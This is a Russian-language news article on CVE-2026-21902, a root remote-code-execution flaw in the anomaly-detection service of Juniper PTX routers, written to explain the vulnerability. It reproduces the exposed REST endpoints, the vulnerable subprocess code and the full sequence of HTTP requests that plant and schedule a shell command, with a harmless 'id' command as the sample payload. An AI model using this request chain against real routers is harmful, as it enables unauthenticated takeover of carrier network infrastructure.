Гениальный код для роутеров Juniper. Пароли отменяются, встроенный сканер услужливо запускает скрипты взломщиков с правами root

Гениальный код для роутеров Juniper. Пароли отменяются, встроенный сканер услужливо запускает скрипты взломщиков с правами root

Инструмент поиска аномалий не заметил, как сдал устройство хакерам.

image

В маршрутизаторах Juniper PTX на базе Junos OS Evolved раскрыли критическую уязвимость CVE-2026-21902, которая позволяет удалённо выполнять код с правами root без аутентификации. Juniper описывает проблему как неправильное назначение прав доступа к критическому ресурсу в механизме On-Box Anomaly Detection Framework. По замыслу этот сервис должен быть доступен только внутренним процессам через внутренний маршрутизирующий экземпляр, а не через внешний сетевой порт. Если до службы всё же можно достучаться по сети, атакующий получает возможность управлять сервисом и в итоге полностью захватить устройство. Компонент включён по умолчанию и не требует отдельной настройки.

Уязвимость затрагивает только устройства серии PTX. В бюллетене Juniper говорится, что под удар попали выпуски Junos OS Evolved 25.4 до версий 25.4R1-S1-EVO и 25.4R2-EVO, тогда как сборки до 25.4R1-EVO уязвимыми не считаются. Сама серия PTX применяется в магистральных сетях операторов связи, на узлах пиринга и в крупных межцентровых соединениях. Такие маршрутизаторы проектируют под очень высокую пропускную способность, низкие задержки и большую плотность портов. Классический Junos OS исторически строился на FreeBSD, а Junos OS Evolved Juniper перевела на Linux и более модульную, контейнеризированную архитектуру.

Проверка показала, что внутри системы действительно работает сетевой сервис, связанный с On-Box Anomaly Detection Framework. При просмотре сокетов исследователи увидели следующую картину:

Protocol	Binding IP	Port	Application	Description
  TCP	0.0.0.0	22	SSH	xinetd
  TCP	0.0.0.0	53	DNS	dnsmasq
  TCP	0.0.0.0	830	NETCONF over SSH	xinetd
  TCP	0.0.0.0	8160	On-Box Anomaly Detection Framework	/usr/sbin/ monitor/ api_server.py
  TCP	[::]	22	SSH	xinetd
  TCP	[::]	53	DNS	dnsmasq
  TCP	[::]	830	NETCONF over SSH	xinetd
  UDP	*	53	DNS	dnsmasq
  UDP	*	123	NTP	ntpd
  UDP	*	161	SNMP	snmpd
  UDP	*	514	Syslog	eventd
  UDP	0.0.0.0	6123	Junos NTP	jsntpd
  UDP	0.0.0.0	8503	Routing Protocol Daemon	rpd

Служба аномалий слушает порт 8160/TCP и, судя по выводу, привязана к 0.0.0.0, то есть ко всем IPv4-интерфейсам. Подозрения усиливает и код инициализации HTTP-сервера, найденный в системе:

port = CONFIG.get('api_server_port', 8160)
  server_address = ('', port)
  httpd = server_class(server_address, handler_class)
  logging.info(f'Serving HTTP on port {port}...')
  httpd.serve_forever()

Пустая строка в server_address в такой конструкции означает привязку ко всем адресам. Сервис представляет собой REST API, написанный на Python и запущенный с правами root. Назначение платформы довольно широкое: через неё можно описывать, планировать и запускать диагностические процедуры, реагировать на найденные аномалии, добавлять новую логику обнаружения и разбирать проблемы вроде аппаратных сбоев, аномалий трафика и ошибок протоколов без внешней системы мониторинга.

Внутренняя модель сервиса строится вокруг четырёх сущностей. Первая - Command, то есть команда, которая будет выполнена на устройстве. Вторая - Handler, обработчик, разбирающий вывод команды. Третья - DAG, ориентированный ациклический граф, который описывает последовательность действий: команд, обработчиков или вложенных графов. Четвёртая - DAG Instance, конкретный экземпляр графа, привязанный к расписанию. Уже из этой схемы видно, что система сама по себе умеет запускать команды на маршрутизаторе. Вопрос только в том, можно ли управлять этой функцией извне. Ответ, судя по опубликованному разбору, оказался положительным.

Все основные файлы лежат прямо в файловой системе устройства, в каталоге /usr/sbin/monitor/. Исследователи выделили четыре ключевых компонента:

python3.10 /usr/sbin/monitor/ anomaly_detector_main.py - The initial Python script that ensures the sub Python scripts stay alive.
  python3.10 /usr/sbin/monitor/ api_server.py - The HTTP API server which stores request data in files on the server.
  python3.10 /usr/sbin/monitor/ intent_monitor.py - Periodically checks for updates to definitions and updates API server definitions.
  python3.10 /usr/sbin/monitor/ schedule_enforcer.py - Executes scheduled DAG instances periodically.

anomaly_detector_main.py следит, чтобы остальные процессы не падали. api_server.py обслуживает HTTP-запросы и сохраняет полученные данные в файлах на устройстве. intent_monitor.py периодически отслеживает обновления определений и синхронизирует их с сервером API. schedule_enforcer.py отвечает за периодический запуск экземпляров DAG по расписанию.

Набор HTTP-методов и конечных точек у сервиса выглядит как вполне обычный интерфейс управления конфигурацией. В опубликованном разборе приведён такой список:

Method	Path	Description
  GET	/anomaly	Retrieves all registered Anomalies.
  GET	/config/schedule/ <component>	Get new DAG INSTANCEs to execute on the component.
  GET / POST / PUT / DELETE	/config/dag/<dag-name>	Retrieves, creates, updates ,or deletes a DAG configuration.
  GET / POST / PUT / DELETE	/config/command/ <command-name>	Retrieves, creates, updates ,or deletes a COMMAND configuration.
  GET / POST / PUT / DELETE	/config/handler/ <handler-name>	Retrieves, creates, updates ,or deletes a HANDLER configuration.
  GET / POST / PUT / DELETE	/config/dag-instance/ <dag-instance-name>	Retrieves, creates, updates ,or deletes a DAG INSTANCE configuration.
  GET / POST	/config/commit	Validates the union of the Workspace config and the Existing Config. Saves the Workspace Config if it is valid on POST.
  GET / POST	/output/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/re	Retrieves or stores the output of a specific DAG INSTANCE run for an ITERATION on the RE.
  GET / POST / DELETE	/alarm/dag-instance/ <dag-instance-name>/ component/re	Gets, stores or deletes alarms raised by the DAG INSTANCE run on the RE.
  POST	/anomaly/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/re	Registers anomalies raised by the DAG INSTANCE run on an RE.

Критически важная часть находится в конфигурации команды. Сервис позволяет создать объект command, а в поле syntax передать строку, которую система позже запустит. Для удалённого выполнения кода в опубликованном примере используется простая команда id > /var/home/admin/watchTowr.txt. Тип RE-SHELL подсказывает сервису, что строку нужно выполнить как обычную команду оболочки на самом устройстве.

Пример HTTP-запроса для создания такой команды в оригинале выглядит так:

POST /config/command/<command-name> HTTP/1.1
  Host: <hostname>
  Content-Type: application/json
  Content-Length: <length>
  
  {
      "syntax": "id > /var/home/admin/watchTowr.txt",
      "type": "RE-SHELL",
      "parsing": {
      },
      "outputs": {
          "result": {"type": "str"}
      },
      "doc": ""
  }

После создания команды атакующему нужен DAG, который определит порядок выполнения действий. В простейшем случае граф состоит из одного действия и просто ссылается на ранее созданную команду. Обработчики, дополнительные входные параметры и переходы между узлами не нужны. В разборе приведён следующий запрос:

POST /config/dag/<dag-name> HTTP/1.1
  Host: <hostname>
  Content-Type: application/json
  Content-Length: <length>
  
  {
      "start": [<action_name>],
      "edges": [],
      "actions": {
          <action_name>: {
              "command": <command_name>,
              "inputs": {}
          }
      },
      "doc": ""
  }

Дальше создаётся экземпляр DAG, который говорит сервису, когда именно нужно выполнить граф. В опубликованной цепочке запуск назначают немедленно, без задержки. Для этого используется такой запрос:

POST /config/dag-instance/<dag-instance-name> HTTP/1.1
  Host: <hostname>
  Content-Type: application/json
  Content-Length: <length>
  
  {
      "dag": <dag_name>,
      "enabled": True,
      "platform": <platform>,
      "target": {
          "type": "RE"
      },
      "schedule": {
          "start": <now>,
          "delay": 0
      },
      "context": {}
  }

На последнем шаге клиент отправляет запрос фиксации конфигурации. После этого прежние объекты сохраняются в файле, который затем обрабатывает планировщик schedule_enforcer:

POST /config/config/commit HTTP/1.1
  Host: <hostname>
  Content-Type: application/json
  Content-Length: 0

Дальше в дело вступает внутренняя логика сервиса. Главная функция получает расписание, заданное для экземпляра DAG. После проверки времени она вызывает execute_dag_instance. Затем запускается execute_dag, далее - run_bfs_on_dag_actions, а уже там вызывается execute_command. Именно в этой функции из описания команды извлекается поле syntax, и его содержимое без фильтрации передаётся в subprocess.run(...). В опубликованном разборе цепочка показана прямо по исходному коду:

def main(): # [1]
      ...
      schedule = api_client.get_config_schedule(component_name=f'{COMPONENT}{FPC_SLOT}')
      ...
      thread = threading.Thread(target=execute_dag_instance, args=(...)) # [2]
      ...
  
  def execute_dag_instance(api_client, ...): # [2]
      ...
      dag_executor = Executor(...)
      dag_executor.execute_dag() # [3]
      ...
  
  class Executor:
      def execute_dag(self): # [3]
          self.run_bfs_on_dag_actions(...) # [4]
  
      def run_bfs_on_dag_actions(self, ...): # [4]
          ...
          if 'command' in dag_def['actions'][current_node]:
              action_outputs = self.execute_command(command_id=current_node, ...) # [5]
          ...
  
      #
      # COMMAND Execution Function
      #
      def execute_command(self, command_id, ...): # [5]
          command_name = dag_def['actions'][command_id]['command']
          ...
  
          #
          # Build Command by substituting in Inputs
          #
          syntax = command_def['syntax'] # [6]
  
          ...
          if self.target['type'] == 'RE':
              #
              # If the DAG INSTANCE is executing on the RE,
              # and if the command type is an RE CLI command,
              # we need to run the command on the RE
              #
              if command_def['type'] == 'RE':
                  component_command_mapping['re'] = f'cli -c "{syntax}"'
              elif command_def['type'] == 'RE-SHELL':
                  component_command_mapping['re'] = syntax
  
          raw_output_mapping = dict()
          for component_name, command in component_command_mapping.items():
              try:
                  completed_subprocess = subprocess.run( # [7]
                      command,
                      shell=True,
                      check=True,
                      stderr=subprocess.PIPE,
                      stdout=subprocess.PIPE
                  )
                  if completed_subprocess.returncode != 0:
                      raw_output = completed_subprocess.stderr.decode('utf-8')
                  else:
                      raw_output = completed_subprocess.stdout.decode('utf-8')
                  raw_output_mapping[component_name] = raw_output
              except subprocess.CalledProcessError as e:
                  logging.error(f'Error executing command - ...')

Здесь важны сразу несколько деталей. Во-первых, логика сама строит строку команды из конфигурации DAG. Во-вторых, для типа RE-SHELL никакого дополнительного обрамления не происходит: строка из syntax просто попадает в component_command_mapping['re']. В-третьих, вызов subprocess.run использует параметр shell=True, а значит, строка обрабатывается оболочкой напрямую. Для атакующего это уже готовое удалённое выполнение кода, причём с правами root, потому что сам сервис работает от имени суперпользователя.

Вся цепочка в итоге выглядит почти слишком прямолинейно для критической уязвимости такого уровня. Удалённый пользователь без логина и пароля отправляет запрос на создание команды, затем описывает DAG, регистрирует экземпляр DAG, фиксирует конфигурацию и ждёт, пока планировщик выполнит задание. После этого команда срабатывает на маршрутизаторе. Никакой отдельной уязвимости для обхода аутентификации здесь не требуется, потому что входной интерфейс и так оказывается доступен извне.

Именно поэтому CVE-2026-21902 получила почти максимальную оценку по шкале CVSS. При успешной эксплуатации атакующий получает полный контроль над магистральным маршрутизатором, который может стоять в критическом сегменте сети оператора, интернет-обменника или гипермасштабной инфраструктуры. Для таких устройств компрометация означает уже не локальный сбой одного сервиса, а риск полного контроля над сетевым узлом, через который проходит большой объём трафика.